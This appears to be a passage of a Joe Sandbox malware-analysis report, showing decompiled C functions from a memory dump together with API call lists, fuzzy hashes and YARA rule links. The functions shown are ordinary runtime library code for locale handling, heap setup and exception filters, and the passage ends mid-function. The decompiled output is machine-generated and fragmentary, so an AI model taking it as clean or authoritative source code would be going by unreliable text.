				void* __ecx;
				void* __esi;
				void* __ebp;
				void* _t8;
				void* _t11;
				intOrPtr _t13;
				void* _t15;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t25;
				signed int _t26;
				intOrPtr* _t28;

				_push(_t15);
				_push(_t25);
				_t8 = E00420590(_t15, _t21, _t25);
				_t26 = _a4;
				_t23 = _t8;
				if(GetLocaleInfoW(_t26 & 0x000003ff | 0x00000400, 0x20000001,  &_v8, 2) == 0) {
					L7:
					_t11 = 0;
				} else {
					if(_t26 == _v8 || _a8 == 0) {
						L6:
						_t11 = 1;
					} else {
						_t28 =  *((intOrPtr*)(_t23 + 0x50));
						_t19 = _t28 + 2;
						do {
							_t13 =  *_t28;
							_t28 = _t28 + 2;
						} while (_t13 != 0);
						if(E0042B4D0( *((intOrPtr*)(_t23 + 0x50))) == _t28 - _t19 >> 1) {
							goto L7;
						} else {
							goto L6;
						}
					}
				}
				return _t11;
			}

0x0042b983
0x0042b984
0x0042b986
0x0042b98b
0x0042b98e
0x0042b9b2
0x0042b9e6
0x0042b9e6
0x0042b9b4
0x0042b9b7
0x0042b9e1
0x0042b9e3
0x0042b9bf
0x0042b9bf
0x0042b9c2
0x0042b9c5
0x0042b9c5
0x0042b9c8
0x0042b9cb
0x0042b9df
0x00000000
0x00000000
0x00000000
0x00000000
0x0042b9df
0x0042b9b7
0x0042b9eb

APIs

Part of subcall function 00420590: GetLastError.KERNEL32(?,00000008,00427C89), ref: 00420594
Part of subcall function 00420590: SetLastError.KERNEL32(00000000,?,00000008,000000FF), ref: 00420636

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0042B718,00000000,00000000,?), ref: 0042B9AA

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2123abe2193c738403007aad464ed0bbaf13189636fe1c6511e3c635edd09ebc
Instruction ID: 51157c1039b9e3f48a6d3721deaf29cd5ae80b4af2b6cf62f340dc0e901ddaaa
Opcode Fuzzy Hash: 2123abe2193c738403007aad464ed0bbaf13189636fe1c6511e3c635edd09ebc
Instruction Fuzzy Hash: 21F0F9727001357BDB285B219C467BB7764EF40758F54442BED02A3280EB38FE81C6D8

Uniqueness

Uniqueness Score: -1.00%

Function 0042B471 Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042B471(void* __ecx, void* __edx, signed char* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t11;
				signed char* _t15;
				intOrPtr* _t19;
				intOrPtr _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t27 = E00420590(__ecx, __edx, _t26);
				_t24 = 2;
				_t19 =  *((intOrPtr*)(_t27 + 0x50));
				_t25 = _t19 + 2;
				do {
					_t11 =  *_t19;
					_t19 = _t19 + _t24;
				} while (_t11 != 0);
				_t4 = _t19 - _t25 >> 1 == 3;
				 *(_t27 + 0x60) = 0 | _t4;
				if(_t4 != 0) {
					_t24 = E0042B4D0( *((intOrPtr*)(_t27 + 0x50)));
				}
				 *((intOrPtr*)(_t27 + 0x5c)) = _t24;
				EnumSystemLocalesW(E0042B74F, 1);
				_t15 = _a4;
				if(( *_t15 & 0x00000004) == 0) {
					 *_t15 = 0;
					return _t15;
				}
				return _t15;
			}

0x0042b47e
0x0042b484
0x0042b485
0x0042b488
0x0042b48b
0x0042b48b
0x0042b48e
0x0042b490
0x0042b49e
0x0042b4a1
0x0042b4a4
0x0042b4af
0x0042b4af
0x0042b4b8
0x0042b4bb
0x0042b4c1
0x0042b4c7
0x0042b4c9
0x00000000
0x0042b4c9
0x0042b4cf

APIs

Part of subcall function 00420590: GetLastError.KERNEL32(?,00000008,00427C89), ref: 00420594
Part of subcall function 00420590: SetLastError.KERNEL32(00000000,?,00000008,000000FF), ref: 00420636

EnumSystemLocalesW.KERNEL32(0042B74F,00000001,00000000,?,-00000050,?,0042BAF1,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0042B4BB

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7c21560e41ddf946b950b202b77448f7aa9be7eab15c110276edaf45683d380b
Instruction ID: 09593bb10243a72730b8656f6155d18adf003b42f32ea2ebef070e7751e73f6f
Opcode Fuzzy Hash: 7c21560e41ddf946b950b202b77448f7aa9be7eab15c110276edaf45683d380b
Instruction Fuzzy Hash: 94F0F6363003186FDB14AF35ACC1A7B7BA1EF80768F55842EF9458B681D779AC42C798

Uniqueness

Uniqueness Score: -1.00%

Function 00422F0B Relevance: 1.5, APIs: 1, Instructions: 33
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E00422F0B(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				signed int _t29;
				void* _t31;

				_push(0xc);
				_push(0x442030);
				E00413FF0(__ebx, __edi, __esi);
				 *(_t31 - 0x1c) =  *(_t31 - 0x1c) & 0x00000000;
				E0041BF62( *((intOrPtr*)( *((intOrPtr*)(_t31 + 8)))));
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				 *0x444e20 = E0041D8BE( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t31 + 0xc)))))));
				_t29 = EnumSystemLocalesW(E00422EFE, 1);
				_t17 =  *0x443048; // 0x7239e5fc
				 *0x444e20 = _t17;
				 *(_t31 - 0x1c) = _t29;
				 *(_t31 - 4) = 0xfffffffe;
				E00422F7B();
				 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0x10));
				return _t29;
			}

0x00422f0b
0x00422f0d
0x00422f12
0x00422f17
0x00422f20
0x00422f26
0x00422f37
0x00422f49
0x00422f4b
0x00422f50
0x00422f55
0x00422f58
0x00422f5f
0x00422f69
0x00422f75

APIs

Part of subcall function 0041BF62: EnterCriticalSection.KERNEL32(?,?,0041FBE7,00000000,00441E68,0000000C,0041FBAE,?,?,00420D1F,?,?,0042072E,00000001,00000364,?), ref: 0041BF71

EnumSystemLocalesW.KERNEL32(00422EFE,00000001,00442030,0000000C,0042332D,00000000), ref: 00422F43

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: a47d44a5e4e41d2e69ef6405ec93742fcd48ff33a92604e3cc96b366dca287e9
Instruction ID: 89c38d8e70bf401b92573effb85ba13ad009fefcd96bf8d34471be70a7cddc4e
Opcode Fuzzy Hash: a47d44a5e4e41d2e69ef6405ec93742fcd48ff33a92604e3cc96b366dca287e9
Instruction Fuzzy Hash: 89F03C76A00200EFD700EF58E942B9977B0FB49725F10412BF910972E0C7B959408B48

Uniqueness

Uniqueness Score: -1.00%

Function 0042B38B Relevance: 1.5, APIs: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042B38B(void* __ecx, void* __edx, signed char* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				signed char* _t13;
				intOrPtr* _t15;
				void* _t19;
				void* _t21;
				void* _t22;

				_t19 = E00420590(__ecx, __edx, _t21);
				_t15 =  *((intOrPtr*)(_t19 + 0x54));
				_t22 = _t15 + 2;
				do {
					_t9 =  *_t15;
					_t15 = _t15 + 2;
				} while (_t9 != 0);
				 *(_t19 + 0x64) = 0 | _t15 - _t22 >> 0x00000001 == 0x00000003;
				EnumSystemLocalesW(0x42b2e4, 1);
				_t13 = _a4;
				if(( *_t13 & 0x00000004) == 0) {
					 *_t13 = 0;
					return _t13;
				}
				return _t13;
			}

0x0042b397
0x0042b39b
0x0042b39e
0x0042b3a1
0x0042b3a1
0x0042b3a4
0x0042b3a7
0x0042b3bf
0x0042b3c2
0x0042b3c8
0x0042b3ce
0x0042b3d0
0x00000000
0x0042b3d0
0x0042b3d5

APIs

Part of subcall function 00420590: GetLastError.KERNEL32(?,00000008,00427C89), ref: 00420594
Part of subcall function 00420590: SetLastError.KERNEL32(00000000,?,00000008,000000FF), ref: 00420636

EnumSystemLocalesW.KERNEL32(0042B2E4,00000001,00000000,?,?,0042BB4F,-00000050,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 0042B3C2

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 5258e3358ba57a5c14de2a6c208006c50e95af83b32f1d3d8181a8ca6be8f280
Instruction ID: f05ec71404ababf8a8de12aa76609f2cff9ccbbcd907959a5a23f0dfaf3840ce
Opcode Fuzzy Hash: 5258e3358ba57a5c14de2a6c208006c50e95af83b32f1d3d8181a8ca6be8f280
Instruction Fuzzy Hash: 2AF0A0363002196BCB04DF36E84566ABB94EF82714B5A405AEE058B251C6799982C798

Uniqueness

Uniqueness Score: -1.00%

Function 00413F2C Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413F2C() {

				return SetUnhandledExceptionFilter(E00413F38);
			}

0x00413f37

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00013F38,00413485), ref: 00413F31

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 98a43fc2f77659a5b080a95a43e1b7ac22015822af1f6f731b6c7803508620d2
Instruction ID: d60b6e1cad0b80fe3fc268bdcce277321658407d7a69439cd70f39f9138d5e7f
Opcode Fuzzy Hash: 98a43fc2f77659a5b080a95a43e1b7ac22015822af1f6f731b6c7803508620d2
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0042BCAF Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042BCAF() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x444f1c = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x0042bcaf
0x0042bcb7
0x0042bcbf

APIs

GetProcessHeap.KERNEL32 ref: 0042BCAF

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3c87e93bf37a240b314e6df6c36cdddcf6e1c06a3cfb8bfc48fb69f960f24d71
Instruction ID: 939d0f99279682e252f0708f7657d5826cd6ae4f0c5921c56d439cf077b71eff
Opcode Fuzzy Hash: 3c87e93bf37a240b314e6df6c36cdddcf6e1c06a3cfb8bfc48fb69f960f24d71
Instruction Fuzzy Hash: C4A02230300200CF83008F32AF0830C3AFCAA8AAC33008038A008C0030FB388B808F08

Uniqueness

Uniqueness Score: -1.00%

Function 00408400 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00408400(void* __ebx, void* __edx, void* __edi, signed int __esi, char _a4) {
				char _v0;
				char _v4;
				signed int _v8;
				char _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v100;
				signed int _v112;
				char _v120;
				signed int _v124;
				intOrPtr _v128;
				char _v132;
				signed int _v140;
				intOrPtr _v204;
				signed int _v216;
				char _v224;
				signed int _v228;
				intOrPtr _v236;
				char _v240;
				signed int _v244;
				signed int _v264;
				signed int _v276;
				signed int _v288;
				signed int _v300;
				signed int _v320;
				signed int _v332;
				signed int _v356;
				signed int _t276;
				signed int _t277;
				signed int _t280;
				signed int _t284;
				signed int _t287;
				signed int _t292;
				signed int _t293;
				signed int _t296;
				signed int _t300;
				signed int _t303;
				signed int _t308;
				signed int _t309;
				void* _t316;
				void* _t317;
				intOrPtr _t318;
				signed int _t345;
				unsigned int _t347;
				void* _t348;
				signed int _t363;
				signed int _t365;
				signed int _t367;
				unsigned int _t369;
				void* _t370;
				signed int _t373;
				signed int _t386;
				signed int _t388;
				signed int _t390;
				unsigned int _t392;
				void* _t393;
				signed int _t402;
				signed int _t404;
				void* _t408;
				signed int _t413;
				signed int _t414;
				signed int _t419;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed int _t424;
				void* _t435;
				signed int _t440;
				signed int _t441;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				void* _t462;
				signed int* _t466;
				signed int _t467;
				void* _t468;
				intOrPtr _t469;
				signed int _t470;
				void* _t471;
				signed int _t472;
				void* _t473;
				signed int* _t474;
				signed int* _t475;
				signed int _t483;
				intOrPtr _t491;
				signed int _t499;
				intOrPtr _t505;
				signed int* _t506;
				void* _t510;
				signed int _t514;
				void* _t516;
				void* _t523;
				void* _t526;
				void* _t536;
				intOrPtr _t538;
				signed int _t539;
				signed int _t540;
				signed int _t541;
				intOrPtr _t545;
				signed int _t547;
				signed int _t548;
				signed int _t550;
				void* _t551;
				signed int _t552;
				signed int _t553;
				void* _t554;
				signed int _t555;
				signed int _t556;
				void* _t557;
				signed int _t559;
				signed int _t571;
				void* _t572;
				signed int _t573;
				void* _t574;
				intOrPtr _t575;
				signed int _t576;
				void* _t577;
				signed int _t578;
				signed int _t580;
				signed int _t581;
				intOrPtr _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t589;
				signed int _t591;
				signed int _t594;
				signed int _t595;
				signed int _t597;
				signed int _t600;
				signed int _t602;
				signed int _t606;
				signed int _t608;
				signed int _t610;
				void* _t612;
				void* _t614;
				void* _t615;
				signed int _t624;
				void* _t625;
				signed int _t627;
				void* _t628;
				signed int _t630;
				void* _t631;
				void* _t633;
				void* _t634;
				signed int _t635;
				void* _t652;
				void* _t654;

				_t570 = __esi;
				_t536 = __edx;
				_t606 = _t624;
				_push(0xffffffff);
				_push(0x431c0c);
				_push( *[fs:0x0]);
				_t625 = _t624 - 0x48;
				_t276 =  *0x443048; // 0x7239e5fc
				_t277 = _t276 ^ _t606;
				_v20 = _t277;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t277);
				 *[fs:0x0] =  &_v16;
				_t3 =  &_a4; // 0x403c79
				_t466 =  *_t3;
				_t482 =  &_v28;
				_v24 = _t466;
				E0041247D( &_v28, 0);
				_v8 = 0;
				_t550 =  *0x444fcc; // 0x2
				_t280 =  *0x444f4c; // 0x6ac7c0
				_v36 = _t280;
				if(_t550 == 0) {
					__ecx =  &_v32;
					__eax = E0041247D( &_v32, __edi);
					__eflags =  *0x444fcc - __edi; // 0x2
					if(__eflags == 0) {
						__eax =  *0x444310; // 0x2
						__eax = __eax + 1;
						__eflags = __eax;
						 *0x444310 = __eax;
						 *0x444fcc = __eax;
					}
					__ecx =  &_v32;
					__eax = E004124D5(__ecx);
					__edi =  *0x444fcc; // 0x2
				}
				_t483 = _t466[1];
				_t467 = _t550 * 4;
				__eflags = _t550 -  *((intOrPtr*)(_t483 + 0xc));
				if(_t550 >=  *((intOrPtr*)(_t483 + 0xc))) {
					_t571 = 0;
					__eflags = 0;
					goto L17;
				} else {
					_t571 =  *(_t467 +  *((intOrPtr*)(_t483 + 8)));
					__eflags = _t571;
					if(_t571 == 0) {
						L17:
						__eflags =  *((char*)(_t483 + 0x14));
						if( *((char*)(_t483 + 0x14)) == 0) {
							L20:
							__eflags = _t571;
							if(_t571 != 0) {
								goto L15;
							} else {
								goto L21;
							}
						} else {
							_t462 = E0041265A();
							__eflags = _t550 -  *((intOrPtr*)(_t462 + 0xc));
							if(_t550 >=  *((intOrPtr*)(_t462 + 0xc))) {
								L21:
								_t284 = _v36;
								__eflags = _t284;
								if(__eflags == 0) {
									_t571 = E0041362C(_t467, _t550, _t571, __eflags, 8);
									_t627 = _t625 + 4;
									_v36 = _t571;
									_t40 = _v24 + 4; // 0x428d0824
									_t287 =  *_t40;
									__eflags = _t287;
									if(_t287 == 0) {
										_t552 = 0x43e90c;
									} else {
										_t552 =  *(_t287 + 0x18);
										__eflags = _t552;
										if(_t552 == 0) {
											_t42 = _t287 + 0x1c; // 0x428d0840
											_t552 = _t42;
										}
									}
									E0041247D( &_v88, 0);
									_v84 = 0;
									_v80 = 0;
									_v76 = 0;
									_v72 = 0;
									_v68 = 0;
									_v64 = 0;
									_v60 = 0;
									_v56 = 0;
									_v52 = 0;
									_v48 = 0;
									_v44 = 0;
									_v40 = 0;
									_v8 = 8;
									__eflags = _t552;
									if(_t552 == 0) {
										E00412430("bad locale name");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t606);
										_t608 = _t627;
										_push(0xffffffff);
										_push(0x431c0c);
										_push( *[fs:0x0]);
										_t628 = _t627 - 0x48;
										_t292 =  *0x443048; // 0x7239e5fc
										_t293 = _t292 ^ _t608;
										_v124 = _t293;
										_push(_t467);
										_push(_t571);
										_push(_t552);
										_push(_t293);
										 *[fs:0x0] =  &_v120;
										_t469 = _v100;
										_v128 = _t469;
										E0041247D( &_v132, 0);
										_v112 = 0;
										_t553 =  *0x444fc8; // 0x0
										_t296 =  *0x444f44; // 0x0
										_v140 = _t296;
										__eflags = _t553;
										if(_t553 == 0) {
											E0041247D( &_v36, _t553);
											__eflags =  *0x444fc8 - _t553; // 0x0
											if(__eflags == 0) {
												_t440 =  *0x444310; // 0x2
												_t441 = _t440 + 1;
												__eflags = _t441;
												 *0x444310 = _t441;
												 *0x444fc8 = _t441;
											}
											E004124D5( &_v36);
											_t553 =  *0x444fc8; // 0x0
										}
										_t86 = _t469 + 4; // 0x0
										_t491 =  *_t86;
										_t470 = _t553 * 4;
										__eflags = _t553 -  *((intOrPtr*)(_t491 + 0xc));
										if(_t553 >=  *((intOrPtr*)(_t491 + 0xc))) {
											_t573 = 0;
											__eflags = 0;
											goto L50;
										} else {
											_t573 =  *(_t470 +  *((intOrPtr*)(_t491 + 8)));
											__eflags = _t573;
											if(_t573 == 0) {
												L50:
												__eflags =  *((char*)(_t491 + 0x14));
												if( *((char*)(_t491 + 0x14)) == 0) {
													L53:
													__eflags = _t573;
													if(_t573 != 0) {
														goto L48;
													} else {
														goto L54;
													}
												} else {
													_t435 = E0041265A();
													__eflags = _t553 -  *((intOrPtr*)(_t435 + 0xc));
													if(_t553 >=  *((intOrPtr*)(_t435 + 0xc))) {
														L54:
														_t300 = _v40;
														__eflags = _t300;
														if(__eflags == 0) {
															_t573 = E0041362C(_t470, _t553, _t573, __eflags, 8);
															_t630 = _t628 + 4;
															_v40 = _t573;
															_t101 = _v28 + 4; // 0xd88b04c4
															_t303 =  *_t101;
															__eflags = _t303;
															if(_t303 == 0) {
																_t555 = 0x43e90c;
															} else {
																_t555 =  *(_t303 + 0x18);
																__eflags = _t555;
																if(_t555 == 0) {
																	_t103 = _t303 + 0x1c; // 0xd88b04e0
																	_t555 = _t103;
																}
															}
															E0041247D( &_v92, 0);
															_v88 = 0;
															_v84 = 0;
															_v80 = 0;
															_v76 = 0;
															_v72 = 0;
															_v68 = 0;
															_v64 = 0;
															_v60 = 0;
															_v56 = 0;
															_v52 = 0;
															_v48 = 0;
															_v44 = 0;
															_v12 = 8;
															__eflags = _t555;
															if(_t555 == 0) {
																E00412430("bad locale name");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t608);
																_t610 = _t630;
																_push(0xffffffff);
																_push(0x431c55);
																_push( *[fs:0x0]);
																_t631 = _t630 - 0x14;
																_t308 =  *0x443048; // 0x7239e5fc
																_t309 = _t308 ^ _t610;
																_v228 = _t309;
																_push(_t470);
																_push(_t573);
																_push(_t555);
																_push(_t309);
																 *[fs:0x0] =  &_v224;
																_t575 = _v204;
																_v236 = _t575;
																E0041247D( &_v240, 0);
																_v216 = 0;
																_t556 =  *0x444fd0; // 0x0
																_t472 =  *0x444f40; // 0x0
																_v244 = _t472;
																__eflags = _t556;
																if(_t556 == 0) {
																	E0041247D( &_v32, _t556);
																	__eflags =  *0x444fd0 - _t556; // 0x0
																	if(__eflags == 0) {
																		_t413 =  *0x444310; // 0x2
																		_t414 = _t413 + 1;
																		__eflags = _t414;
																		 *0x444310 = _t414;
																		 *0x444fd0 = _t414;
																	}
																	E004124D5( &_v32);
																	_t556 =  *0x444fd0; // 0x0
																}
																_t537 =  *(_t575 + 4);
																_t499 = _t556 * 4;
																_v32 = _t499;
																__eflags = _t556 -  *((intOrPtr*)(_t537 + 0xc));
																if(_t556 >=  *((intOrPtr*)(_t537 + 0xc))) {
																	_t576 = 0;
																	__eflags = 0;
																	_v32 = _t499;
																	goto L83;
																} else {
																	_t576 =  *(_t499 +  *((intOrPtr*)(_t537 + 8)));
																	__eflags = _t576;
																	if(_t576 != 0) {
																		L91:
																		E004124D5( &_v40);
																		 *[fs:0x0] = _v24;
																		_pop(_t557);
																		_pop(_t577);
																		_pop(_t473);
																		__eflags = _v28 ^ _t610;
																		return E0041361E(_t576, _t473, _v28 ^ _t610, _t537, _t557, _t577);
																	} else {
																		L83:
																		__eflags =  *((char*)(_t537 + 0x14));
																		if( *((char*)(_t537 + 0x14)) == 0) {
																			L86:
																			__eflags = _t576;
																			if(_t576 != 0) {
																				goto L91;
																			} else {
																				goto L87;
																			}
																		} else {
																			_t408 = E0041265A();
																			__eflags = _t556 -  *((intOrPtr*)(_t408 + 0xc));
																			if(_t556 >=  *((intOrPtr*)(_t408 + 0xc))) {
																				L87:
																				__eflags = _t472;
																				if(_t472 == 0) {
																					_t316 = E00408E80(_t472, _t556, _t576,  &_v44, _v36);
																					_t633 = _t631 + 8;
																					__eflags = _t316 - 0xffffffff;
																					if(__eflags == 0) {
																						_t317 = E00403390();
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						_push(_t610);
																						_t612 = _t633;
																						_push(_t576);
																						_push(_t556);
																						_t550 = _t537;
																						_t578 = _t499;
																						__eflags = _t578 - _t550;
																						if(_t578 == _t550) {
																							L101:
																							return _t317;
																						} else {
																							do {
																								_t505 =  *((intOrPtr*)(_t578 + 0x14));
																								__eflags = _t505 - 0x10;
																								if(_t505 < 0x10) {
																									goto L100;
																								} else {
																									_t318 =  *_t578;
																									_t506 = _t505 + 1;
																									__eflags = _t506 - 0x1000;
																									if(_t506 < 0x1000) {
																										L99:
																										_push(_t506);
																										_t317 = E004138AD(_t318);
																										_t633 = _t633 + 8;
																										goto L100;
																									} else {
																										_t538 =  *((intOrPtr*)(_t318 - 4));
																										_t506 =  &(_t506[8]);
																										__eflags = _t318 - _t538 + 0xfffffffc - 0x1f;
																										if(_t318 - _t538 + 0xfffffffc > 0x1f) {
																											E0041805F(_t472, _t506, _t538);
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											_push(_t612);
																											_t614 = _t633;
																											_t634 = _t633 - 0xc;
																											_push(_t472);
																											_t474 = _t506;
																											_t507 = 0x7fffffff;
																											_push(_t578);
																											_t580 = _v264;
																											_t539 = _t474[4];
																											_v276 = _t539;
																											_push(_t550);
																											__eflags = 0x7fffffff - _t539 - _t580;
																											if(0x7fffffff - _t539 < _t580) {
																												E00401BD0(_t474, 0x7fffffff, _t539);
																												goto L124;
																											} else {
																												_t550 = _t474[5];
																												_t390 = _t539 + _t580;
																												_v32 = _t390;
																												_t600 = _t390 | 0x0000000f;
																												_v28 = _t550;
																												__eflags = _t600 - 0x7fffffff;
																												if(_t600 <= 0x7fffffff) {
																													_t392 = _t550 >> 1;
																													_t507 = 0x7fffffff - _t392;
																													__eflags = _t550 - _t507;
																													if(_t550 <= _t507) {
																														_t393 = _t392 + _t550;
																														__eflags = _t600 - _t393;
																														_t580 =  <  ? _t393 : _t600;
																														_t182 = _t580 + 1; // 0x80000000
																														_t507 = _t182;
																														__eflags = _t507 - 0x1000;
																														if(_t507 < 0x1000) {
																															__eflags = _t507;
																															if(__eflags == 0) {
																																_t550 = 0;
																																__eflags = 0;
																															} else {
																																_t402 = E0041362C(_t474, _t550, _t580, __eflags, _t507);
																																_t539 = _v24;
																																_t634 = _t634 + 4;
																																_t550 = _t402;
																															}
																															goto L117;
																														} else {
																															_t183 = _t507 + 0x23; // 0x80000023
																															_t403 = _t183;
																															__eflags = _t183 - _t507;
																															if(__eflags <= 0) {
																																L124:
																																E00401B30();
																																goto L125;
																															} else {
																																goto L107;
																															}
																														}
																													} else {
																														_t580 = 0x7fffffff;
																														goto L106;
																													}
																												} else {
																													_t580 = 0x7fffffff;
																													L106:
																													_t403 = 0xffffffff80000023;
																													__eflags = 0x80000000;
																													L107:
																													_t404 = E0041362C(_t474, _t550, _t580, __eflags, _t403);
																													_t634 = _t634 + 4;
																													__eflags = _t404;
																													if(_t404 == 0) {
																														L125:
																														E0041805F(_t474, _t507, _t539);
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														_push(_t614);
																														_t615 = _t634;
																														_t635 = _t634 - 0x14;
																														_push(_t474);
																														_t475 = _t507;
																														_t508 = 0x7fffffff;
																														_push(_t580);
																														_t581 = _v288;
																														_t540 = _t475[4];
																														_v300 = _t540;
																														_push(_t550);
																														__eflags = 0x7fffffff - _t540 - _t581;
																														if(0x7fffffff - _t540 < _t581) {
																															E00401BD0(_t475, 0x7fffffff, _t540);
																															goto L147;
																														} else {
																															_t550 = _t475[5];
																															_t367 = _t540 + _t581;
																															_v32 = _t367;
																															_t594 = _t367 | 0x0000000f;
																															_v36 = _t550;
																															__eflags = _t594 - 0x7fffffff;
																															if(_t594 <= 0x7fffffff) {
																																_t369 = _t550 >> 1;
																																_t508 = 0x7fffffff - _t369;
																																__eflags = _t550 - _t508;
																																if(_t550 <= _t508) {
																																	_t370 = _t369 + _t550;
																																	__eflags = _t594 - _t370;
																																	_t581 =  <  ? _t370 : _t594;
																																	_t212 = _t581 + 1; // 0x80000000
																																	_t508 = _t212;
																																	__eflags = _t508 - 0x1000;
																																	if(_t508 < 0x1000) {
																																		__eflags = _t508;
																																		if(__eflags == 0) {
																																			_t550 = 0;
																																			__eflags = 0;
																																		} else {
																																			_t386 = E0041362C(_t475, _t550, _t581, __eflags, _t508);
																																			_t540 = _v28;
																																			_t635 = _t635 + 4;
																																			_t550 = _t386;
																																		}
																																		goto L140;
																																	} else {
																																		_t213 = _t508 + 0x23; // 0x80000023
																																		_t387 = _t213;
																																		__eflags = _t213 - _t508;
																																		if(__eflags <= 0) {
																																			L147:
																																			E00401B30();
																																			goto L148;
																																		} else {
																																			goto L130;
																																		}
																																	}
																																} else {
																																	_t581 = 0x7fffffff;
																																	goto L129;
																																}
																															} else {
																																_t581 = 0x7fffffff;
																																L129:
																																_t387 = 0xffffffff80000023;
																																__eflags = 0x80000000;
																																L130:
																																_t388 = E0041362C(_t475, _t550, _t581, __eflags, _t387);
																																_t635 = _t635 + 4;
																																__eflags = _t388;
																																if(_t388 == 0) {
																																	L148:
																																	E0041805F(_t475, _t508, _t540);
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	asm("int3");
																																	_push(_t615);
																																	_t606 = _t635;
																																	_t625 = _t635 - 0x10;
																																	_push(_t475);
																																	_t466 = _t508;
																																	_t509 = 0x7fffffff;
																																	_push(_t581);
																																	_t570 = _v320;
																																	_t541 = _t466[4];
																																	_v332 = _t541;
																																	_push(_t550);
																																	__eflags = 0x7fffffff - _t541 - _t570;
																																	if(0x7fffffff - _t541 < _t570) {
																																		E00401BD0(_t466, 0x7fffffff, _t541);
																																		goto L170;
																																	} else {
																																		_t550 = _t466[5];
																																		_t345 = _t541 + _t570;
																																		_v36 = _t345;
																																		_t588 = _t345 | 0x0000000f;
																																		_v40 = _t550;
																																		__eflags = _t588 - 0x7fffffff;
																																		if(_t588 <= 0x7fffffff) {
																																			_t347 = _t550 >> 1;
																																			_t509 = 0x7fffffff - _t347;
																																			__eflags = _t550 - _t509;
																																			if(_t550 <= _t509) {
																																				_t348 = _t347 + _t550;
																																				__eflags = _t588 - _t348;
																																				_t570 =  <  ? _t348 : _t588;
